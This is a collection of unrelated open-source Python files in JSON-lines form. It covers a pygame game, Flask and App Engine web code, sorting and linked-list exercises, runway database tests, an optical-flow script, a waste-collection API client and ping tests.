[util.cargar_imagen('imagenes/Mammooth.png'),\n\t\t\t\t\t\tutil.cargar_imagen('imagenes/Mammoth_Happy.png'),\n\t\t\t\t\t\tutil.cargar_imagen('imagenes/Mammoth_Back.png'),\n\t\t\t\t\t\tutil.cargar_imagen('imagenes/Mammoth_Seated.png')]\n\t\tself.image = self.imagenes[0]\n\t\tself.rect = self.image.get_rect()\n\t\tself.rect.move_ip(200, 10)\n\t\tself.bullets = []\n\n\tdef update(self):\n\t\tteclas = pygame.key.get_pressed()\n\t\tif self.vida > 0:\t\t\t\t\t\n\t\t\tif teclas[K_LEFT] and self.rect.x>=10:\n\t\t\t\tself.rect.x -= 10\n\t\t\t\tself.angulo = 180\n\t\t\telif teclas[K_RIGHT] and self.rect.x<=640-self.rect.width:\n\t\t\t\tself.rect.x += 10\n\t\t\t\tself.angulo = 0\n\t\t\tif teclas[K_UP] and self.rect.y>=10:\n\t\t\t\tself.angulo = 90\n\t\t\t\tself.rect.y -= 10\n\t\t\t\tself.image = self.imagenes[2]\n\t\t\t\tif self.rect.y==0 and self.estado == \"subiendo\":\n\t\t\t\t\tself.puntos = self.puntos + 1\n\t\t\t\t\tself.estado = \"bajando\"\n\t\t\telif teclas[K_DOWN] and self.rect.y<=480-self.rect.height:\n\t\t\t\tself.angulo = 270\n\t\t\t\tself.rect.y += 10\n\t\t\t\tself.image = self.imagenes[0]\n\t\t\t\tif self.rect.y==410 and self.estado == \"bajando\":\n\t\t\t\t\tself.puntos = self.puntos + 1\n\t\t\t\t\tself.estado = \"subiendo\"\n\t\t\t\n\t\t\telif teclas[K_SPACE]:\n\t\t\t\tself.disparar()\n\t\telse:\n\t\t\tself.image = self.imagenes[3]\n\t\n\tdef disparar(self):\n\t\t#self.disparo.play()\n\t\tvector = [0,0]\n\t\tvector[0] += math.cos(math.radians((self.angulo)%360))\n\t\tvector[1] -= math.sin(math.radians((self.angulo)%360))\n\t\t#pos = [self.rect.left + self.radio * vector[0], self.rect.bottom + self.radio * vector[1]]\n\t\tpos = [self.rect.x + self.radio, self.rect.y + self.radio]\n\t\tvel = [self.vel[0] + 6 * vector[0], self.vel[1] + 6 * vector[1]]\n\t\tself.bullets.append(Bullet(pos,self.angulo, vel, self.contenedor))","repo_name":"erikferney/clase-7","sub_path":"juego/ejercicio04/proyecto/heroe.py","file_name":"heroe.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20342729072","text":"import logging\n\nfrom flask import Flask, g, session, Blueprint, request\nfrom flask_talisman import Talisman\nfrom flask_babel import Babel\nfrom celery import Celery\n\nfrom main.views import pages\nfrom settings import config\n\nbabel = Babel()\n\nbp = Blueprint('arquivopt', __name__,\n template_folder='arquivopt', url_prefix=\"arquivopt\")\n\n\nclass PrefixMiddleware(object):\n\n def __init__(self, app, prefix=''):\n self.app = app\n self.prefix = prefix\n\n def __call__(self, environ, start_response):\n\n if environ['PATH_INFO'].startswith(self.prefix):\n environ['PATH_INFO'] = environ['PATH_INFO'][len(self.prefix):]\n environ['SCRIPT_NAME'] = self.prefix\n return self.app(environ, start_response)\n else:\n start_response('301 Moved Permanently', [\n ('Location', \"http://contamehistorias.pt/arquivopt/\")])\n return []\n\n\nclass YourFlask(Flask):\n def create_jinja_environment(self):\n self.config['TEMPLATES_AUTO_RELOAD'] = True\n return Flask.create_jinja_environment(self)\n\n\ndef create_app(config_filename):\n\n app = YourFlask(__name__)\n app.url_map.strict_slashes = False\n\n app.config.from_object(config[config_filename])\n app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n app.wsgi_app = PrefixMiddleware(app.wsgi_app, prefix='/arquivopt')\n\n app.logger.setLevel(logging.NOTSET)\n\n app.register_blueprint(pages.blueprint)\n\n # Talisman(app, content_security_policy={\n # 'style-src': [\n # 'https://fonts.googleapis.com',\n # '\\'unsafe-inline\\'',\n # '\\'self\\'',\n # ]\n # })\n Talisman(app, content_security_policy={})\n\n babel.init_app(app)\n\n @app.after_request\n def log_response(resp):\n app.logger.info(\"{} {} {}\\n{}\".format(\n request.method, request.url, request.data, resp)\n )\n return resp\n\n # If someone navigates to the site domain without the lang code\n # we append the lang code to the request url and redirect\n @app.context_processor\n def inject_lang():\n print(\"---- inject_lang ----\")\n print(\"session\", session)\n print(\"session.keys()\", session.keys())\n\n if(not 'lang_code' in session.keys() or session['lang_code'] == None or session['lang_code'] == \"None\"):\n return dict(sess_lang=\"pt\")\n\n if not(\"lang_code\" in session.keys()):\n return dict(sess_lang=\"pt\")\n else:\n return dict(sess_lang=session['lang_code'])\n\n @babel.localeselector\n def get_locale():\n g.lang_code = session['lang_code']\n return g.get('lang_code', 'pt')\n\n return app\n\n\n# https://stackoverflow.com/a/59672617\ndef make_celery(app):\n celery = Celery(\n app.import_name,\n backend=app.config['CELERY_RESULT_BACKEND'],\n broker=app.config['CELERY_BROKER_URL'],\n include=['main.celery_tasks.app_tasks']\n )\n celery.conf.update(app.config)\n\n class ContextTask(celery.Task):\n def __call__(self, *args, **kwargs):\n with app.app_context():\n return self.run(*args, **kwargs)\n\n celery.Task = ContextTask\n return celery\n","repo_name":"LIAAD/contamehistorias-ui","sub_path":"main/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29323853589","text":"__author__ = 'johannes'\n\nfrom devviz import app\nfrom devviz.views import View\n\nfrom flask import render_template\n\n\nclass TableView(View):\n style = \"\"\"\"\"\"\n\n url = 'table'\n name = 'TableView'\n\n def __init__(self, variables=None, viewid=None):\n super(TableView, self).__init__(variables, viewid)\n\n @property\n def content(self):\n return render_template(\"table.html\",\n variables=self.variables,\n viewid=self.viewid)\n\n\napp.views[TableView.url] = TableView\n\n","repo_name":"hildensia/devviz","sub_path":"devviz/views/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"1798659931","text":"#Problem: You are given two non-empty linked lists representing two non-negative integers. \n#The digits are stored in reverse order and each of their nodes contain a single digit. \n#Add the two numbers and return it as a linked list.\n\n#Q: Is the data type integers only?\n#Q: Does the returned linked list have to be reversed as well?\n\n#A: All postive integers\n#A: Answer also has to be reversed\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n#Run time - O(n)\ndef addTwoNumbers(l1: ListNode, l2: ListNode) -> ListNode:\n a = convertToNum(l1)\n b = convertToNum(l2) \n sum = a+b\n convert = str(sum)\n temp = None\n head = None\n for x in range(len(convert)-1, -1, -1):\n if temp == None:\n temp = ListNode(int(convert[x]))\n head = temp\n else:\n temp.next = ListNode(int(convert[x]))\n temp = temp.next\n\n return head\n\n#Run Time - O(n)\ndef convertToNum(node):\n temp = \"\"\n while node:\n temp = str(node.val) + temp\n node = node.next\n return int(temp)\n\n","repo_name":"PudgyElderGod/SPD1.41","sub_path":"LeetCode/HW8:LeetCode-ReturnLinkedList.py","file_name":"HW8:LeetCode-ReturnLinkedList.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13799855517","text":"import random\n\n\ndef partition(seq, start, stop):\n pivotIndex = start\n pivotVal = seq[pivotIndex]\n\n for i in range(start+1, stop):\n\n # if the value is less than pivotval, we do a three number exchange\n # the value of the next location is stored in the lesser value index\n # the lesser value is stored in the index of current pivotval\n # the value of pivot val is stored in the next location\n\n if seq[i] < pivotVal:\n\n temp = seq[i]\n seq[i] = seq[pivotIndex + 1]\n seq[pivotIndex] = temp\n pivotIndex += 1\n seq[pivotIndex] = pivotVal\n\n print(seq)\n print('One it')\n print('\\n\\n')\n return (pivotIndex)\n\n\ndef quicksort_recursive(seq, start, stop):\n\n if start >= stop-1:\n return\n\n piv = partition(seq, start, stop)\n quicksort_recursive(seq, start, piv)\n if piv < len(seq)-1:\n quicksort_recursive(seq, piv+1, stop)\n\n return seq\n\n\ndef quicksort(seq):\n\n # randomising is required to be done on the pviot element every time\n # instead of that, we will do it on the list itself only once\n for i in range(len(seq)):\n j = random.randint(0, len(seq) - 1)\n temp = seq[j]\n seq[j] = seq[i]\n seq[i] = temp\n\n print(seq)\n\n return quicksort_recursive(seq, 0, len(seq))\n\n\ndef main():\n print(quicksort([5, 4, 3, 2, 1, 9, 8, 7, 6]))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"siddhanthramani/Data-Structures-and-Algorithms","sub_path":"Using Python/quicksort_recursive.py","file_name":"quicksort_recursive.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73971506187","text":"from google.appengine.ext import db\nfrom google.appengine.api import mail\nimport simplejson as json\n\ndef emailProspectAwaitingVet(p):\n email = p.email\n name = p.name\n mail.send_mail(sender=\"Example.com Support \",\n to=\"Albert Johnson \",\n subject=\"Your booking is awaiting confirmation\",\n body=\"\"\"BITCHES\"\"\")\n\ndef emailProspectConfirmingVet(p):\n email = p.email\n name = p.name\n mail.send_mail(sender=\"Example.com Support \",\n to=\"Albert Johnson \",\n subject=\"Congratulations, booking successful!\",\n body=\"\"\"BITCHES\"\"\")\n\ndef emailExchangingDetails(p, e):\n prospectEmail = p.email\n prospectName = p.name\n\n employerEmail = e.email\n employerName = e.name\n employerCompany = e.company\n \n mail.send_mail(sender=\"Example.com Support \",\n to=\"Albert Johnson \",\n subject=\"Congratulations, booking successful!\",\n body=\"\"\"BITCHES\"\"\")\n\nclass Prospect(db.Model):\n skype = db.StringProperty(required=True)\n name = db.StringProperty(required=True)\n email = db.EmailProperty(required=True)\n education = db.StringProperty(required=True)\n linkedin = db.LinkProperty(required=False)\n github = db.LinkProperty(required=False)\n applicationDate = db.DateTimeProperty(auto_now_add=True)\n vetted = db.BooleanProperty(default=False)\n\n @staticmethod\n def addProspect(s, n, em, ed, ln, gh):\n p = Prospect(skype=s, name=n, email=em, education=ed, linkedin=ln, github=gh)\n p.put()\n\n \nclass Employer(db.Model):\n skype = db.StringProperty(required=True)\n name = db.StringProperty(required=True)\n company = db.StringProperty(required=True)\n email = db.EmailProperty(required=True)\n\nclass Interest(db.Model):\n employer = db.ReferenceProperty(Employer, required=True)\n prospect = db.ReferenceProperty(Prospect)\n\nclass Booking(db.Model):\n employer = db.ReferenceProperty(Employer, required=True)\n prospect = db.ReferenceProperty(Prospect, required=True)\n when = db.StringProperty()\n\n happened = db.BooleanProperty(default=False)\n accepted = db.BooleanProperty(default=False)\n\n @staticmethod\n def renderBookings(employerSkype):\n bookingList = []\n for booking in Booking.all():\n if booking.employer.skype == employerSkype:\n bd = dict()\n p = booking.prospect\n bd[\"skype\"] = p.skype\n bd[\"name\"] = p.name\n bd[\"education\"] = p.education\n bd[\"linkedin\"] = p.linkedin\n bd[\"github\"]= p.github\n bd[\"when\"] = str(booking.when)\n bookingList += [bd]\n\n bookingList.sort(lambda x, y: x[\"when\"] > y[\"when\"])\n return json.dumps(bookingList)\n\n @staticmethod\n def acceptBooking(prospectSkype, employerSkype):\n bookings = db.GqlQuery(\"SELECT * \"\n \"FROM Booking \"\n \"WHERE employer.skype IS :1 AND prospect.skype= :2\",\n employerSkype, prospectSkype)\n\n for booking in bookings:\n booking.accepted = True\n emailExchangingDetails(booking.prospect, booking.employee)\n","repo_name":"IsaacLewis/Vettr","sub_path":"api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"8004086432","text":"'''\nCreated on 21 déc. 2020\n\n@author: rober\n'''\n\nimport time\nimport unittest\n\nfrom Home.Environment.AirportDatabaseFile import AirportsDatabase\nfrom Home.Environment.RunWaysDatabaseFile import RunWayDataBase\n\nfrom Home.OutputFiles.KmlOutput import KmlOutput\nfrom Home.Guidance.GeographicalPointFile import GeographicalPoint\n\nclass Test_Main(unittest.TestCase):\n\n def test_main_one(self):\n \n print ( '====================run-ways====================' )\n t0 = time.clock()\n \n runWaysDatabase = RunWayDataBase()\n if runWaysDatabase.read():\n print ( 'runways DB correctly read' )\n \n t1 = time.clock()\n print ( 'time spent= {0:.2f} seconds'.format(t1-t0) )\n \n print ( '====================run-ways====================' )\n \n print ( runWaysDatabase.findAirportRunWays('LFPG') )\n t2 = time.clock()\n print ('time spent= {0:.2f} seconds'.format(t2-t1) )\n \n \n print ( '====================run-ways get filtered run ways====================' )\n print ( runWaysDatabase.getFilteredRunWays('LFML') )\n \n print ( '====================run-ways get filtered run ways====================' )\n print ( runWaysDatabase.getFilteredRunWays('LFBO') )\n \n print ( '====================run-ways get filtered run ways====================' )\n print ( runWaysDatabase.findAirportRunWays('LFBO') )\n \n \n print ( '====================run-ways get filtered run ways====================' )\n runway = runWaysDatabase.getFilteredRunWays('EGLL') \n print ( runway )\n \n print ( '====================run-ways get filtered run ways====================' )\n #print 'number of runways: ' + str(len(runWaysDatabase.getRunWays('LFPG')))\n runway = runWaysDatabase.getFilteredRunWays(airportICAOcode = 'LFPG', runwayName = '27L')\n print ( runway )\n \n print ( '====================run-ways get filtered run ways====================' )\n runway = runWaysDatabase.getFilteredRunWays(airportICAOcode = 'KJFK', runwayName = '31L')\n print ( runway )\n \n print ( '====================run-ways get filtered run ways====================' )\n \n runway = runWaysDatabase.getFilteredRunWays(airportICAOcode = 'KLAX', runwayName = '06L')\n print ( runway )\n \n for ICAOcode in ['LFPG', 'LFPO', 'LFBO', 'LFML', 'LFST', 'KJFK', 'SBGL', 'LFBD']:\n \n print ( '====================run-ways get filtered run ways====================' )\n \n tStart = time.clock()\n print ( runWaysDatabase.findAirportRunWays(ICAOcode) )\n tEnd = time.clock()\n print ( 'icao= {0} - duration= {1:.2f} seconds'.format(ICAOcode, (tEnd-tStart)) )\n # print '====================run-ways===================='\n # for runway in runWaysDatabase.getRunWays():\n # print runway.getAirportICAOcode() + '-' + runway.getName()\n \n print ( '====================run-ways====================' )\n # for runway in runWaysDatabase.getRunWays():\n # print runway\n \n print ( '====================run-ways get filtered run ways====================' )\n \n print ( runWaysDatabase.findAirportRunWays('LPPT') )\n \n \n def test_main_two(self):\n \n print ( '====================run-ways test two ====================' )\n\n runWaysDatabase = RunWayDataBase()\n self.assertTrue( runWaysDatabase.read() )\n \n airportICAOcode = 'LPPT'\n self.assertTrue ( runWaysDatabase.hasRunWays(airportICAOcode) )\n \n def test_main_three(self):\n \n print ( '====================run-ways test three ====================' )\n\n runWaysDatabase = RunWayDataBase()\n self.assertTrue( runWaysDatabase.read() )\n \n airportICAOcode = 'LFPG'\n for runway in runWaysDatabase.getRunWaysAsDict(airportICAOcode) :\n print ( runway )\n\n def test_main_four(self):\n\n print ( '==================== run-ways test four ====================' )\n \n runWaysDatabase = RunWayDataBase()\n self.assertTrue( runWaysDatabase.read() )\n \n airportICAOcode = 'LFPG'\n for runway in runWaysDatabase.getRunWays(airportICAOcode) :\n print ( runway )\n \n def test_main_five(self):\n \n print ( '==================== run-ways test five ====================' )\n\n airportsDb = AirportsDatabase()\n self.assertTrue (airportsDb.read())\n \n CharlesDeGaulleRoissy = airportsDb.getAirportFromICAOCode('LFPG')\n print ( CharlesDeGaulleRoissy )\n \n runWaysDatabase = RunWayDataBase()\n self.assertTrue( runWaysDatabase.read() )\n \n airportICAOcode = 'LFPG'\n runwayName = \"08L\"\n runway = runWaysDatabase.getFilteredRunWays(airportICAOcode = airportICAOcode, runwayName = runwayName)\n print ( runway )\n \n fileName = airportICAOcode + \"-\" + runwayName\n kmlOutputFile = KmlOutput(fileName=fileName)\n \n kmlOutputFile.write(name = fileName, \n LongitudeDegrees = runway.getLongitudeDegrees(),\n LatitudeDegrees = runway.getLatitudeDegrees(),\n AltitudeAboveSeaLevelMeters = CharlesDeGaulleRoissy.getAltitudeMeanSeaLevelMeters())\n\n\n latitudeDegrees , longitudeDegrees = runway.getGeoPointAtDistanceHeading(runway.getLengthMeters(), runway.getTrueHeadingDegrees())\n \n name = airportICAOcode + \"-\" + runwayName + \"-\" + \"Runway-End\"\n kmlOutputFile.write(name = name, \n LongitudeDegrees = longitudeDegrees,\n LatitudeDegrees = latitudeDegrees,\n AltitudeAboveSeaLevelMeters = CharlesDeGaulleRoissy.getAltitudeMeanSeaLevelMeters())\n \n ''' GreatCircleRoute: final way-point= turn-pt-189-229.70-degrees - latitude= 48.93 degrees - longitude= 2.75 degrees - altitudeMSL= 500.49 meters '''\n routeLatitudeDegrees = 48.93\n routeLongitudeDegrees = 2.75\n routeGeographicalPoint = GeographicalPoint(routeLatitudeDegrees, routeLongitudeDegrees, CharlesDeGaulleRoissy.getAltitudeMeanSeaLevelMeters())\n \n kmlOutputFile.write(name = \"Route-Point\", \n LongitudeDegrees = routeLongitudeDegrees,\n LatitudeDegrees = routeLatitudeDegrees,\n AltitudeAboveSeaLevelMeters = CharlesDeGaulleRoissy.getAltitudeMeanSeaLevelMeters())\n \n shortestDistanceMeters = runway.computeShortestDistanceToRunway(routeGeographicalPoint)\n print ( \"Shortest distance = {0} meters\".format( shortestDistanceMeters ) )\n \n kmlOutputFile.close()\n\n \n \nif __name__ == '__main__':\n unittest.main()","repo_name":"RobertPastor/AircraftTrajectoryPredictionNG","sub_path":"Home/Environment/RunWaysDatabase_Tests.py","file_name":"RunWaysDatabase_Tests.py","file_ext":"py","file_size_in_byte":6852,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"82"} +{"seq_id":"16622857185","text":"import torch\nimport numpy as np\n\n\nclass Equally_Weighted(torch.nn.Module):\n def __init__(self):\n super(Equally_Weighted, self).__init__()\n self.gamma = torch.nn.Parameter(torch.ones(1), requires_grad=False)\n self.delta = torch.nn.Parameter(torch.ones(1), requires_grad=False)\n self.NAS = 20 # number of assets\n z = np.array([1.0 / self.NAS for i in range(self.NAS)])\n self.z = torch.tensor(z, requires_grad=True).unsqueeze(0) # (1*20)\n\n def forward(self, x, y):\n # equally_weighted:\n return self.z, torch.tensor(0.0), torch.tensor(0.0)\n\n\nif __name__ == \"__main__\":\n model = Equally_Weighted()\n x = torch.randn(105, 8, 32)\n y = torch.randn(105, 20, 45)\n w, _, _ = model(x, y)\n print(w.shape)\n print(w)\n","repo_name":"mohammadjoshaghani/DRO_E2E_MODEL","sub_path":"src/equally_weighted.py","file_name":"equally_weighted.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27209672296","text":"import httpx\nimport json\nimport logging\n\nfrom datetime import datetime, date\n\nfrom .const import DOMAIN\n\n_LOGGER = logging.getLogger(f'custom_components.{DOMAIN}.core')\n\n\nclass SSAMAPI(object):\n def __init__(self):\n self.__search_url = 'https://edpfuture.ssam.se/FutureWeb/SimpleWastePickup/SearchAdress'\n self.__schedule_url = 'https://edpfuture.ssam.se/FutureWeb/SimpleWastePickup/GetWastePickupSchedule?address='\n self.__headers = {\n 'Content-Type': 'application/json'\n }\n\n async def search_address(self, search_string: str) -> dict:\n buildings_list = {'buildings': []}\n address = {'searchText': search_string}\n\n try:\n async with httpx.AsyncClient() as client:\n request = await client.post(\n self.__search_url,\n data=address\n )\n\n except Exception as err:\n _LOGGER.debug(err)\n raise err\n\n if request.status_code == 200:\n data = json.loads(request.text)\n\n if not data['Succeeded']:\n return buildings_list\n\n for building in data['Buildings']:\n buildings_list['buildings'].append(building)\n\n return json.dumps(buildings_list)\n\n async def get_schedule(self, building_address: str) -> list:\n schedule_list = []\n\n try:\n async with httpx.AsyncClient() as client:\n request = await client.get(\n f'{self.__schedule_url}{building_address}',\n headers=self.__headers\n )\n \n except Exception as err:\n _LOGGER.debug(err)\n raise err\n\n if request.status_code == 200:\n data = json.loads(request.text)\n today = date.today()\n\n if 'RhServices' not in data:\n return schedule_list\n\n for schedule in data['RhServices']:\n days_from_today = False\n try:\n pickup = datetime.strptime(schedule['NextWastePickup'], '%Y-%m-%d').date()\n days_from_today = (pickup - today).days\n except ValueError:\n pass\n\n schedule_list.append(\n {\n 'next_waste_pickup': schedule['NextWastePickup'],\n 'days_from_today': days_from_today,\n 'waste_pickups_per_year': schedule['WastePickupsPerYear'], \n 'waste_type': schedule['WasteType'],\n 'waste_pickup_frequency': schedule['WastePickupFrequency'], \n 'bin_code': schedule['BinType']['Code'], \n 'bin_size': int(schedule['BinType']['Size']),\n 'bin_unit': schedule['BinType']['Unit'].upper() if schedule['BinType']['Unit'] is not None else '', \n 'bin_type': schedule['BinType']['ContainerType'], \n 'number_of_bins': int(schedule['NumberOfBins']),\n 'calculated_cost': schedule['Fee']['CalculatedCost'],\n 'is_active': schedule['IsActive'], \n 'description': schedule['Description'], \n 'id': schedule['ID'], \n 'building_id': int(schedule['BuildingID'])\n }\n )\n\n return sorted(schedule_list, key=lambda d: d['next_waste_pickup'])\n","repo_name":"kverqus/hassam","sub_path":"custom_components/hassam/ssam_api.py","file_name":"ssam_api.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"4479729212","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: muyma\r\n\"\"\"\r\n\r\nimport cv2\r\nimport numpy as np\r\nfrom scipy.ndimage.filters import convolve as filter2\r\nfrom scipy import linalg\r\nimport datetime as dt\r\nimport matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport os\r\n\r\ndef HS(img1, img2, Iters, l, k_HS, name_folder):\r\n #Calculamos las imagenes Ix e Iy\r\n sobelImg1x = cv2.Sobel(img1,cv2.CV_64F,1,0,ksize=5)\r\n sobelImg1y = cv2.Sobel(img1,cv2.CV_64F,0,1,ksize=5)\r\n\r\n sobelImg2x = cv2.Sobel(img2,cv2.CV_64F,1,0,ksize=5)\r\n sobelImg2y = cv2.Sobel(img2,cv2.CV_64F,0,1,ksize=5)\r\n\r\n Ix = (sobelImg1x+sobelImg2x)\r\n Iy = (sobelImg1y+sobelImg2y)\r\n\r\n #Calculamos la imagen It\r\n blur1 = cv2.GaussianBlur(img1,(5,5),0)\r\n blur2 = cv2.GaussianBlur(img2,(5,5),0)\r\n It = blur2-blur1\r\n\r\n #Calculamos el resto de imagenes que vamos a necesitar y el kernel para hacer la media\r\n I2x = Ix**2\r\n I2y = Iy**2\r\n\r\n \r\n #Inicializamos las variables que vamos a usar para realizar el algorimto HS\r\n U = np.zeros_like(img1)\r\n V = np.zeros_like(img1)\r\n\r\n #Guardamos cuando empezamos el algoritmo para posteriormente calcular cuanto hemos tardado\r\n init_time = dt.datetime.now()\r\n #print(Iters, \"Iters\")\r\n for _ in range(Iters):\r\n Umean = cv2.blur(U, (k_HS,k_HS))\r\n Vmean = cv2.blur(V, (k_HS,k_HS))\r\n Uk = Ix*((Ix*Umean + Iy*Vmean+It) / (l**2+I2x+I2y))\r\n Vk = Iy*((Ix*Umean + Iy*Vmean+It) / (l**2+I2x+I2y))\r\n\r\n U = Umean - Uk\r\n V = Vmean - Vk\r\n max_Iters = _ + 1\r\n if ((round(np.sum(Uk)) == 0) and (round(np.sum(Vk)) == 0)):\r\n break\r\n \r\n\r\n #Finalizamos el algoritmo y volvemos a coger el tiempo \r\n end_time = dt.datetime.now()\r\n\r\n #Suavizamos la imagen de salida para evitar outliers, pixeles con valores muy dispares que nos afectan a la representacion\r\n U = cv2.GaussianBlur(U,(5,5),0)\r\n V = np.sqrt(U**2+V**2)\r\n V = cv2.GaussianBlur(V,(5,5),0)\r\n\r\n #Calculamos el tiempo que hemos tardado restando el inicial al final\r\n time = (end_time - init_time).total_seconds()*1000\r\n \r\n \r\n #Representamos lo que hemos obtenido \r\n hsv = np.zeros_like(images[0])\r\n hsv[...,1] = 255\r\n hsv[...,0] = V*180/np.pi/2\r\n hsv[...,2] = cv2.normalize(U,None,0,255,cv2.NORM_MINMAX)\r\n\r\n date_img = str(time) \r\n rgb = cv2.cvtColor(hsv,cv2.COLOR_HSV2BGR)\r\n rgb =cv2.putText(img=np.copy(rgb), text=\"Tiempo de duracion: \"+ date_img + \" ms\", org=(25,50),fontFace=0, fontScale=0.5, color=(255, 255, 255))\r\n rgb =cv2.putText(img=np.copy(rgb), text=\"Numero de iteracciones para HS: \"+ str(max_Iters) , org=(25,75),fontFace=0, fontScale=0.5, color=(255, 255, 255))\r\n rgb =cv2.putText(img=np.copy(rgb), text=\"Valor de lambda : \"+ str(l) , org=(25,100),fontFace=0, fontScale=0.5, color=(255, 255, 255))\r\n rgb =cv2.putText(img=np.copy(rgb), text=\"Valor K del Kernel : \"+ str(k_HS) , org=(25,125),fontFace=0, fontScale=0.5, color=(255, 255, 255))\r\n\r\n date_file = str(init_time)\r\n date_file = date_file.replace(\":\",\"_\").replace(\".\",\"_\") \r\n name_file = name_folder + '/outHS_' + str(max_Iters) + '_' + str(l) + '_' + str(k_HS) +'.png'\r\n\r\n #cv2.imshow('frame',rgb)\r\n cv2.imwrite(name_file, rgb)\r\n #cv2.waitKey()\r\n #cv2.destroyAllWindows()\r\n return rgb\r\n \r\nif __name__ == \"__main__\":\r\n name_folder = 'Video_HS_' + str(str(dt.datetime.now()).replace(\":\",\"_\").replace(\".\",\"_\"))\r\n if not os.path.exists(name_folder):\r\n os.makedirs(name_folder)\r\n img_arr = []\r\n images = []\r\n vidcap = cv2.VideoCapture('vtest_5s.avi')\r\n success, image = vidcap.read()\r\n height, width, layers = image.shape\r\n count = 0\r\n while (success):\r\n images.append(image)\r\n success,image = vidcap.read()\r\n count += 1\r\n \r\n images = np.array(images)\r\n for i in range(len(images)-1):\r\n img1 = images[i]\r\n img2 = images[i+1]\r\n \r\n #Pasamos dos de la simagenes a gris y las dividimos entre 255 para tener mayor resolucion\r\n img1 = cv2.cvtColor(img1, cv2.COLOR_RGB2GRAY)/255\r\n img2 = cv2.cvtColor(img2, cv2.COLOR_RGB2GRAY)/255\r\n rgb = HS(img1, img2, 100 , 40, 7, name_folder)\r\n img_arr.append(rgb)\r\n\r\n \r\n size = (width,height)\r\n out = cv2.VideoWriter(name_folder+'/video_HS.avi', 0, 1, size)\r\n for img in img_arr:\r\n out.write(np.uint8(img))\r\n cv2.destroyAllWindows()\r\n out.release()\r\n","repo_name":"sergiodomin/VISION_DINAMICA_MOVA","sub_path":"Practica_Flujo_Optico/HS_vid.py","file_name":"HS_vid.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18816334387","text":"import FWCore.ParameterSet.Config as cms\n\nplaygroundedproducer = cms.EDProducer('PlaygroundEDProducer',\n folder = cms.string('HGCAL/RecHits'),\n DataType = cms.string('beam'),\n CalibrationFlags = cms.vint32(\n 1,\n 1,\n 0,\n 0,\n 0,\n 0,\n 0,\n 0,\n 0,\n 0\n ),\n CalibrationCSVFile = cms.string('./meta_conditions/calibration_parameters.csv'),\n mightGet = cms.optional.untracked.vstring\n)\n","repo_name":"ywkao/PlaygroundEDProducer","sub_path":"python/playgroundedproducer_cfi.py","file_name":"playgroundedproducer_cfi.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17450892908","text":"\nimport os\n\nfrom setuptools import setup, find_packages\n\nthis_directory = os.path.abspath(os.path.dirname(__file__))\nsetup_requirements = []\n\nVERSION = '0.01'\n\n\ndef read_file(filename):\n with open(os.path.join(this_directory, filename), encoding='utf-8') as f:\n long_description = f.read()\n return long_description\n\n\nsetup(\n author=\"Han Zhichao\",\n author_email='superhin@126.com',\n description='XMind TestCase to Excel TestCase', # 项目描述\n long_description=read_file('README.md'),\n long_description_content_type=\"text/markdown\",\n classifiers=[\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3.7',\n ],\n license=\"MIT license\",\n include_package_data=True,\n keywords=[\n 'xmind2excel', 'xmind_to_excel',\n ],\n name='xmind2excel2',\n packages=find_packages(include=['xmind2excel2']),\n setup_requires=setup_requirements,\n url='https://github.com/hanzhichao/xmind2excel', # 项目对应的你的仓库地址\n version=VERSION,\n zip_safe=True,\n install_requires=['openpyxl', 'xmindparser'] # 依赖包\n)\n","repo_name":"hanzhichao/xmind2excel","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"17214842716","text":"#!/usr/bin/python2\r\n# -*- coding: UTF-8 -*-\r\nimport numpy as np\r\nfrom numpy import nan\r\nimport unittest\r\nimport pipe\r\nimport ping_gui\r\nfrom time import time, sleep\r\n\r\nclass TestPing(unittest.TestCase):\r\n def test_output(self):\r\n host = 'ping.sunet.se'\r\n timeout = 200\r\n with pipe.ping(host, timeout) as pinger:\r\n ms, date = pinger.next()\r\n\r\n #check that the date is about correct\r\n self.assertAlmostEqual(date, time(), 0,\r\n msg=\"invalid date:{}\".format(date))\r\n #check that the time is expressed in either int or nan\r\n self.assertTrue(isinstance(ms, int) or np.isnan(ms))\r\n\r\n\r\n\r\nclass TestMain(unittest.TestCase):\r\n def test_axis_limit(self):\r\n \"\"\"\r\n Tests the axis limit function\r\n \"\"\"\r\n arg1 = [-100, 0]\r\n arg2 = 70\r\n arg3 = [nan, 30, 10, 90]\r\n arg4 = [nan, 30, 10, 50]\r\n result1 = [-100, 0, 0, 95]\r\n result2 = [-100, 0, 0, 